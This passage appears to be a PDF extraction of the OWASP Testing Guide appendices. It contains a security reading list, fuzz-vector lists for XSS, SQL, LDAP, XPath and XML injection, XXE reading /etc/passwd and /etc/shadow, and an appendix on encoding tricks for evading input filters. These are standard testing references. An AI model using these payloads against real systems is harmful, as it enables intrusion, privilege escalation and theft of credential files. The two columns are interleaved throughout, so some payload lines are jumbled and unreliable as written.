Series: Development, Volume III - https://buildsecurityin.us-cert. Wiley, ISBN 047131952X (1999) - http://www.securingjava.com
gov/swa/downloads/SoftwareSecurityTesting_PocketGuide_1%20 • Software Security: Building Security In, by Gary McGraw, published
0_05182012_PostOnline.pdf by Addison-Wesley Professional, ISBN 0321356705 (2006)
• Use Cases: Just the FAQs and Answers – http://www.ibm.com/ • Software Testing In The Real World (Acm Press Books) by Edward
developerworks/rational/library/content/RationalEdge/jan03/Use- Kit, published by Addison-Wesley Professional, ISBN 0201877562
CaseFAQS_TheRationalEdge_Jan2003.pdf (1995)
• Software Testing Techniques, 2nd Edition, By Boris Beizer, Interna-
Books tional Thomson Computer Press, ISBN 0442206720 (1990)
• The Art of Software Security Testing: Identifying Software Security The Tangled Web: A Guide to Securing Modern Web Applications,
Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin, by Michael Zalewski, published by No Starch Press Inc., ISBN
published by Addison-Wesley, ISBN 0321304861 (2006) 047131952X (2011)
• Building Secure Software: How to Avoid Security Problems the The Unified Modeling Language – A User Guide – by Grady Booch,
Right Way, by Gary McGraw and John Viega, published by Addi- James Rumbaugh, Ivar Jacobson, published by Addison-Wesley Pro-
son-Wesley Pub Co, ISBN 020172152X (2002) - http://www.build- fessional, ISBN 0321267974 (2005)
ingsecuresoftware.com • The Unified Modeling Language User Guide, by Grady Booch, James
• The Ethical Hack: A Framework for Business Value Penetration Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Profes-
Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X sional, ISBN 0-201-57168-4 (1998)
(2005) Web Security Testing Cookbook: Systematic Techniques to Find Prob-
• + Online version available at: http://books.google.com/books?id=f- lems Fast, by Paco Hope, Ben Walther, published by O’Reilly, ISBN
wASXKXOolEC&printsec=frontcover&source=gbs_ge_summa- 0596514832 (2008)
ry_r&cad=0#v=onepage&q&f=false • Writing Secure Code, by Mike Howard and David LeBlanc, published
• Exploiting Software: How to Break Code, by Gary McGraw and Greg by Microsoft Press, ISBN 0735617228 (2004) http://www.microsoft.
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 com/learning/en/us/book.aspx?ID=5957&locale=en-us
(2004) -http://www.exploitingsoftware.com
• The Hacker’s Handbook: The Strategy behind Breaking into and Useful Websites
Defending Networks, By Susan Young, Dave Aitel, Auerbach Publica- • Build Security In - https://buildsecurityin.us-cert.gov/bsi/home.html
tions, ISBN: 0849308887 (2005) • Build Security In – Security-Specific Bibliography - https://
• + Online version available at: http://books.google.com/ buildsecurityin.us-cert.gov/bsi/articles/best-practices/measure-
books?id=AO2fsAPVC34C&printsec=frontcover&source=gbs_ge_ ment/1070-BSI.html
summary_r&cad=0#v=onepage&q&f=false • CERT Secure Coding - http://www.cert.org/secure-coding/
• Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent • CERT Secure Coding Standards- https://www.securecoding.cert.
Liu, Caleb Sima, published by McGraw-Hill Osborne Media, ISBN org/confluence/display/seccode/CERT+Secure+Coding+Standards
007222438X (2010) - http://www.webhackingexposed.com/ • Exploit and Vulnerability Databases - https://buildsecurityin.us-cert.
• The Web Application Hacker’s Handbook: Finding and Exploiting gov/swa/database.html
Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus • Google Code University – Web Security - http://code.google.com/
Pinto, ISBN 9781118026472 (2011) edu/security/index.html
• How to Break Software Security, by James Whittaker, Herbert H. • McAfee Foundstone Publications - http://www.mcafee.com/apps/
Thompson, published by Addison Wesley, ISBN 0321194330 (2003) view-all/publications.aspx?tf=foundstone&sz=10
• How to Break Software: Functional and Security Testing of Web • McAfee – Resources Library - http://www.mcafee.com/apps/re-
Applications and Web Services, by Make Andrews, James A. Whittak- source-library-search.aspx?region=us
er, published by Pearson Education Inc., ISBN 0321369440 (2006) • McAfee Free Tools - http://www.mcafee.com/us/downloads/free-
• Innocent Code: A Security Wake-Up Call for Web Program- tools/index.aspx
mers, by Sverre Huseby, published by John Wiley & Sons, ISBN • OASIS Web Application Security (WAS) TC - http://www.oa-
0470857447(2004) - http://innocentcode.thathost.com sis-open.org/committees/tc_home.php?wg_abbrev=was
• + Online version available at: http://books.google.com/books?id=R- • Open Source Software Testing Tools - http://www.opensourcetest-
jVjgPQsKogC&printsec=frontcover&source=gbs_ge_summary_r&- ing.org/security.php
218

Appendix

• OWASP Security Blitz - https://www.owasp.org/index.php/ OWASP Testing Guide Appendix C: Fuzz Vectors
OWASP_Security_Blitz The following are fuzzing vectors which can be used with WebScarab,
• OWASP Phoenix/Tool - https://www.owasp.org/index.php/Phoe- JBroFuzz, WSFuzzer, ZAP or another fuzzer. Fuzzing is the “kitchen
nix/Tools sink” approach to testing the response of an application to parameter
• SANS Internet Storm Center (ISC) - https://www.isc.sans.edu manipulation. Generally one looks for error conditions that are gen-
• The Open Web Application Application Security Project (OWASP) erated in an application as a result of fuzzing. This is the simple part
- http://www.owasp.org of the discovery phase. Once an error has been discovered identifying
• Pentestmonkey - Pen Testing Cheat Sheets - http://pentestmonkey. and exploiting a potential vulnerability is where skill is required.
net/cheat-sheet
• Secure Coding Guidelines for the .NET Framework 4.5 - http://msdn. Fuzz Categories
microsoft.com/en-us/library/8a3x2b7f.aspx In the case of stateless network protocol fuzzing (like HTTP(S)) two
• Security in the Java platform - http://docs.oracle.com/javase/6/ broad categories exist:
docs/technotes/guides/security/overview/jsoverview.html
• System Administration, Networking, and Security Institute (SANS) - • Recursive fuzzing
http://www.sans.org • Replacive fuzzing
• Technical INFO – Making Sense of Security - http://www.
technicalinfo.net/index.html We examine and define each category in the sub-sections that follow.
• Web Application Security Consortium - http://www.webappsec.org/
projects/ Recursive fuzzing
• Web Application Security Scanner List - http://projects.webappsec. Recursive fuzzing can be defined as the process of fuzzing a part of
org/w/page/13246988/Web%20Application%20Security%20 a request by iterating through all the possible combinations of a set
Scanner%20List alphabet. Consider the case of:
• Web Security – Articles - http://www.acunetix.com/
websitesecurity/articles/
http://www.example.com/8302fa3b
Videos
• OWASP Appsec Tutorial Series - https://www.owasp.org/index.php/ Selecting “8302fa3b” as a part of the request to be fuzzed against
OWASP_Appsec_Tutorial_Series the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls
• SecurityTube - http://www.securitytube.net/ under the category of recursive fuzzing. This would generate a total
• Videos by Imperva - http://www.imperva.com/resources/videos. of 16^8 requests of the form:
asp

Deliberately Insecure Web Applications http://www.example.com/00000000


• OWASP Vulnerable Web Applications Directory Project - https:// ...
www.owasp.org/index.php/OWASP_Vulnerable_Web_ http://www.example.com/11000fff
Applications_Directory_Project#tab=Main ...
• BadStore - http://www.badstore.net/ http://www.example.com/ffffffff
• Damn Vulnerable Web App - http://www.ethicalhack3r.co.uk/damn-
vulnerable-web-app/
• Hacme Series from McAfee: Replacive fuzzing
• + Hacme Travel - http://www.mcafee.com/us/downloads/free- Replacive fuzzing can be defined as the process of fuzzing part of a
tools/hacmetravel.aspx request by means of replacing it with a set value. This value is known
• + Hacme Bank - http://www.mcafee.com/us/downloads/free- as a fuzz vector. In the case of:
tools/hacme-bank.aspx
• + Hacme Shipping - http://www.mcafee.com/us/downloads/free-
tools/hacmeshipping.aspx http://www.example.com/8302fa3b
• + Hacme Casino - http://www.mcafee.com/us/downloads/free-
tools/hacme-casino.aspx Testing against Cross Site Scripting (XSS) by sending the following
• + Hacme Books - http://www.mcafee.com/us/downloads/free- fuzz vectors:
tools/hacmebooks.aspx
• Moth - http://www.bonsai-sec.com/en/research/moth.php
• Mutillidae - http://www.irongeek.com/i.php?page=mutillidae/
mutillidae-deliberately-vulnerable-php-owasp-top-10 http://www.example.com/>”><script>alert(“XSS”)</script>&
• Stanford SecuriBench - http://suif.stanford.edu/~livshits/ http://www.example.com/’’;!--”<XSS>=&{()}
securibench/
• Vicnum - http://vicnum.sourceforge.net/ and http://www.owasp.
org/index.php/Category:OWASP_Vicnum_Project This is a form of replacive fuzzing. In this category, the total number
• WebGoat - http://www.owasp.org/index.php/Category:OWASP_ of requests is dependent on the number of fuzz vectors specified.
WebGoat_Project
• WebMaven (better known as Buggy Bank) - http://www. The remainder of this appendix presents a number of fuzz vector cat-
mavensecurity.com/WebMaven.php egories.
219

Cross Site Scripting (XSS)


For details on XSS: Cross-site Scripting (XSS)

>”><script>alert(“XSS”)</script>&
“><STYLE>@import”javascript:alert(‘XSS’)”;</STYLE>
>”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>

>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
‘%uff1cscript%uff1ealert(‘XSS’)%uff1c/script%uff1e’
“>
>”
‘’;!--”<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>
<IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;
&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>
<IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058
&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>

<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28
&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>

<IMG SRC=”jav&#x09;ascript:alert(<WBR>’XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(<WBR>’XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(<WBR>’XSS’);”>

Buffer Overflows and Format String Errors crash a program. Fuzzing for such errors has as an objective to check
Buffer Overflows (BFO) for unfiltered user input.
A buffer overflow or memory corruption attack is a programming An excellent introduction on FSE can be found in the USENIX paper
condition which allows overflowing of valid data beyond its prelocat- entitled: Detecting Format String Vulnerabilities with Type Qualifiers
ed storage limit in memory.
Note that attempting to load such a definition file within a fuzzer ap-
For details on Buffer Overflows: Testing for Buffer Overflow plication can potentially cause the application to crash.

Note that attempting to load such a definition file within a fuzzer ap-
plication can potentially cause the application to crash.
%s%p%x%d
.1024d
Ax5 %.2049d
A x 17 %p%p%p%p
A x 33 %x%x%x%x
A x 65 %d%d%d%d
A x 129 %s%s%s%s
A x 257 %99999999999s
A x 513 %08x
A x 1024 %%20d
A x 2049 %%20n
A x 4097 %%20x
A x 8193 %%20s
A x 12288 %s%s%s%s%s%s%s%s%s%s
%p%p%p%p%p%p%p%p%p%p
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%-
Format String Errors (FSE) j%z%Z%t%i%e%g%f%a%C%S%08x%%
Format string attacks are a class of vulnerabilities that involve sup- %s x 129
plying language specific format tokens to execute arbitrary code or
220

Integer Overflows (INT)


Integer overflow errors occur when a program fails to account for the ‘ having 1=1--
fact that an arithmetic operation can result in a quantity either greater ‘ having 1=1--
than a data type’s maximum value or less than its minimum value. If ‘ group by userid having 1=1--
a tester can cause the program to perform such a memory allocation, ‘ SELECT name FROM syscolumns WHERE id = (SELECT id
the program can be potentially vulnerable to a buffer overflow attack. FROM sysobjects WHERE name = tablename’)--
‘ or 1 in (select @@version)--
-1 ‘ union all select @@version--
0 ‘ OR ‘unusual’ = ‘unusual’
0x100 ‘ OR ‘something’ = ‘some’+’thing’
0x1000 ‘ OR ‘text’ = N’text’
0x3fffffff ‘ OR ‘something’ like ‘some%’
0x7ffffffe ‘ OR 2 > 1
0x7fffffff ‘ OR ‘text’ > ‘t’
0x80000000 ‘ OR ‘whatever’ in (‘whatever’)
0xfffffffe ‘ OR 2 BETWEEN 1 and 3
0xffffffff ‘ or username like char(37);
0x10000 ‘ union select * from users where login =
0x100000 char(114,111,111,116);
‘ union select
SQL Injection
Password:*/=1--
This attack can affect the database layer of an application and is typi-
UNI/**/ON SEL/**/ECT
cally present when user input is not filtered for SQL statements.
‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’
‘; EXEC (‘SEL’ + ‘ECT US’ + ‘ER’)
For details on Testing SQL Injection: Testing for SQL Injection
‘/**/OR/**/1/**/=/**/1
SQL Injection is classified in the following two categories, depending
‘ or 1/*
on the exposure of database information (passive) or the alteration of
+or+isnull%281%2F0%29+%2F*
database information (active).
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
• Passive SQL Injection
%27+--+&password=
• Active SQL Injection
‘; begin declare @var varchar(8000) set @var=’:’ select @
var=@var+’+login+’/’+password+’ ‘ from users where login >
Active SQL Injection statements can have a detrimental effect on the
@var select @var as var into temp end --
underlying database if successfully executed.
‘ and 1 in (select var from temp)--
Passive SQL Injection (SQP)
‘ union select 1,load_file(‘/etc/passwd’),1,1,1;
1;(load_file(ch
‘||(elt(-3+5,bin(15),ord(10),hex(char(45)))) ar(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
||6 ‘ and 1=( if((load_file(char(110,46,101,120,116))<>ch
‘||’6 ar(39,39)),1,0));
(||6)
‘ OR 1=1--
OR 1=1
‘ OR ‘1’=’1 Active SQL Injection (SQI)
; OR ‘1’=’1’
%22+or+isnull%281%2F0%29+%2F*
‘; exec master..xp_cmdshell ‘ping 10.10.1.2’--
%27+OR+%277659%27%3D%277659
CREATE USER name IDENTIFIED BY ‘pass123’
%22+or+isnull%281%2F0%29+%2F*
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
%27+--+
TABLESPACE temp DEFAULT TABLESPACE users;
‘ or 1=1--
‘ ; drop table temp --
“ or 1=1--
exec sp_addlogin ‘name’ , ‘password’
‘ or 1=1 /*
exec sp_addsrvrolemember ‘name’ , ‘sysadmin’
or 1=1--
INSERT INTO mysql.user (user, host, password) VALUES
‘ or ‘a’=’a
(‘name’, ‘localhost’, PASSWORD(‘pass123’))
“ or “a”=”a
GRANT CONNECT TO name; GRANT RESOURCE TO name;
‘) or (‘a’=’a
INSERT INTO Users(Login, Password, Level) VALUES(
Admin’ OR ‘
char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72)
‘%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.
+ char(0x70)
TABLES--
+ char(0x65) + char(0x74) + char(0x65) + char(0x-
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.
72),char(0x64)
TABLES;
221

LDAP Injection OWASP Testing Guide Appendix D:


For details on LDAP Injection: Testing for LDAP Injection Encoded Injection
Background
| Character encoding is the process of mapping characters, numbers
! and other symbols to a standard format. Typically, this is done to cre-
( ate a message ready for transmission between sender and receiv-
) er. It is, in simple terms, the conversion of characters (belonging to
%28 different languages like English, Chinese, Greek or any other known
%29 language) into bytes. An example of a widely used character encoding
& scheme is the American Standard Code for Information Interchange
%26 (ASCII) that initially used 7-bit codes. More recent examples of en-
%21 coding schemes would be the Unicode UTF-8 and UTF-16 computing
%7C industry standards.
*|
%2A%7C In the space of application security and due to the plethora of en-
*(|(mail=*)) coding schemes available, character encoding has a popular misuse.
%2A%28%7C%28mail%3D%2A%29%29 It is being used for encoding malicious injection strings in a way that
*(|(objectclass=*)) obfuscates them. This can lead to the bypass of input validation fil-
%2A%28%7C%28objectclass%3D%2A%29%29 ters, or take advantage of particular ways in which browsers render
*()|%26’ encoded text.
admin*
admin*)((|userPassword=*) Input Encoding – Filter Evasion
*)(uid=*))(|(uid=* Web applications usually employ different types of input filtering
mechanisms to limit the input that can be submitted by the user. If
these input filters are not implemented sufficiently well, it is pos-
XPATH Injection sible to slip a character or two through these filters. For instance, a
For details on XPATH Injection: Testing for XPath Injection / can be represented as 2F (hex) in ASCII, while the same character
(/) is encoded as C0 AF in Unicode (2 byte sequence). Therefore, it is
‘+or+’1’=’1 important for the input filtering control to be aware of the encoding
‘+or+’’=’ scheme used. If the filter is found to be detecting only UTF-8 encoded
x’+or+1=1+or+’x’=’y injections, a different encoding scheme may be employed to bypass
/ this filter.
//
//* Output Encoding – Server & Browser Consensus
*/* Web browsers need to be aware of the encoding scheme used to co-
@* herently display a web page. Ideally, this information should be pro-
count(/child::node()) vided to the browser in the HTTP header (“Content-Type”) field, as
x’+or+name()=’username’+or+’x’=’y
Content-Type: text/html; charset=UTF-8
XML Injection
Details on XML Injection here: Testing for XML Injection shown below:
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version=”1.0” encoding=”ISO-8859-1”?><foo><![C- <META http-equiv=”Content-Type” content=”text/html; char-
DATA[<]]>SCRIPT<![CDATA[>]]>alert(‘gotcha’);<![CDATA[<]]>/ set=ISO-8859-1”>
SCRIPT<![CDATA[>]]></foo>
<?xml version=”1.0” encoding=”ISO-8859-1”?><foo><![CDA- or through HTML META tag (“META HTTP-EQUIV”), as shown below:
TA[‘ or 1=1 or ‘’=’]]></foof>
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE It is through these character encoding declarations that the browser
foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file://c:/boot. understands which set of characters to use when converting bytes to
ini”>]><foo>&xee;</foo> characters. Note that the content type mentioned in the HTTP header
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE has precedence over the META tag declaration.
foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///etc/
passwd”>]><foo>&xee;</foo> CERT describes it here as follows:
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE Many web pages leave the character encoding (“charset” parameter
foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///etc/ in HTTP) undefined. In earlier versions of HTML and HTTP, the char-
shadow”>]><foo>&xee;</foo> acter encoding was supposed to default to ISO-8859-1 if it wasn’t
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE defined. In fact, many browsers had a different default, so it was not
foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///dev/ possible to rely on the default being ISO-8859-1. HTML version 4 le-
random”>]><foo>&xee;</foo> gitimizes this - if the character encoding isn’t specified, any character
222

encoding can be used. Hex Encoding


Hex, short for Hexadecimal, is a base 16 numbering system i.e it
If the web server doesn’t specify which character encoding is in has 16 different values from 0 to 9 and A to F to represent various
use, it can’t tell which characters are special. Web pages with un- characters. Hex encoding is another form of obfuscation that is
specified character encoding work most of the time because most sometimes used to bypass input validation filters. For instance, hex
character sets assign the same characters to byte values below encoded version of the string <IMG SRC=javascript:alert(‘XSS’)> is
128. But which of the values above 128 are special? Some 16-bit
character-encoding schemes have additional multi-byte represen-
tations for special characters such as “<”. Some browsers recognize <IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%
this alternative encoding and act on it. This is “correct” behavior, but 6C%65%72%74%28%27%58%53%53%27%29>
it makes attacks using malicious scripts much harder to prevent.
The server simply doesn’t know which byte sequences represent
the special characters A variation of the above string is given below. Can be used in case
‘%’ is being filtered:
Therefore in the event of not receiving the character encoding infor-
mation from the server, the browser either attempts to ‘guess’ the
encoding scheme or reverts to a default scheme. In some cases, the <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x-
user explicitly sets the default encoding in the browser to a differ- 72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x-
ent scheme. Any such mismatch in the encoding scheme used by 74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
the web page (server) and the browser may cause the browser to
interpret the page in a manner that is unintended or unexpected.
There are other encoding schemes, such as Base64 and Octal,
Encoded Injections that may be used for obfuscation.
All the scenarios given below form only a subset of the various Although, every encoding scheme may not work every time, a bit
ways obfuscation can be achieved to bypass input filters. Also, the of trial and error coupled with intelligent manipulations would
success of encoded injections depends on the browser in use. For definitely reveal the loophole in a weakly built input validation fil-
example, US-ASCII encoded injections were previously successful ter.
only in IE browser but not in Firefox. Therefore, it may be noted that
encoded injections, to a large extent, are browser dependent. UTF-7 Encoding
UTF-7 encoding of <SCRIPT>alert(‘XSS’);</SCRIPT> is as below
Basic Encoding
Consider a basic input validation filter that protects against injection
of single quote character. In this case the following injection would +ADw-SCRIPT+AD4-alert(‘XSS’);+ADw-/SCRIPT+AD4-
easily bypass this filter:

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
For the above script to work, the browser has to interpret the web
page as encoded in UTF-7.

String.fromCharCode Javascript function takes the given Unicode Multi-byte Encoding


values and returns the corresponding string. This is one of the most Variable-width encoding is another type of character encoding
basic forms of encoded injections. Another vector that can be used scheme that uses codes of varying lengths to encode characters.
to bypass this filter is: Multi-Byte Encoding is a type of variable-width encoding that
uses varying number of bytes to represent a character. Multi-byte
encoding is primarily used to encode characters that belong to a
<IMG SRC=javascript:alert(&quot ;XSS&quot ;)> large character set e.g. Chinese, Japanese and Korean.

Multibyte encoding has been used in the past to bypass standard


input validation functions and carry out cross site scripting and
<IMG SRC=javascript:alert(&#34 ;XSS&#34 ;)> (Numeric SQL injection attacks.
reference)
References
• http://en.wikipedia.org/wiki/Encode_(semiotics)
The above uses HTML Entities to construct the injection string. • http://ha.ckers.org/xss.html
HTML Entities encoding is used to display characters that have a • http://www.cert.org/tech_tips/malicious_code_mitigation.html
special meaning in HTML. For instance, ‘>’ works as a closing brack- • http://www.w3schools.com/HTML/html_entities.asp
et for a HTML tag. In order to actually display this character on the • http://www.iss.net/security_center/advice/Intru-
web page HTML character entities should be inserted in the page sions/2000639/default.htm
source. The injections mentioned above are one way of encoding. • http://searchsecurity.techtarget.com/expert/Knowledgebase-
There are numerous other ways in which a string can be encoded Answer/0,289625,sid14_gci1212217_tax299989,00.html
(obfuscated) in order to bypass the above filter. • http://www.joelonsoftware.com/articles/Unicode.html

You might also like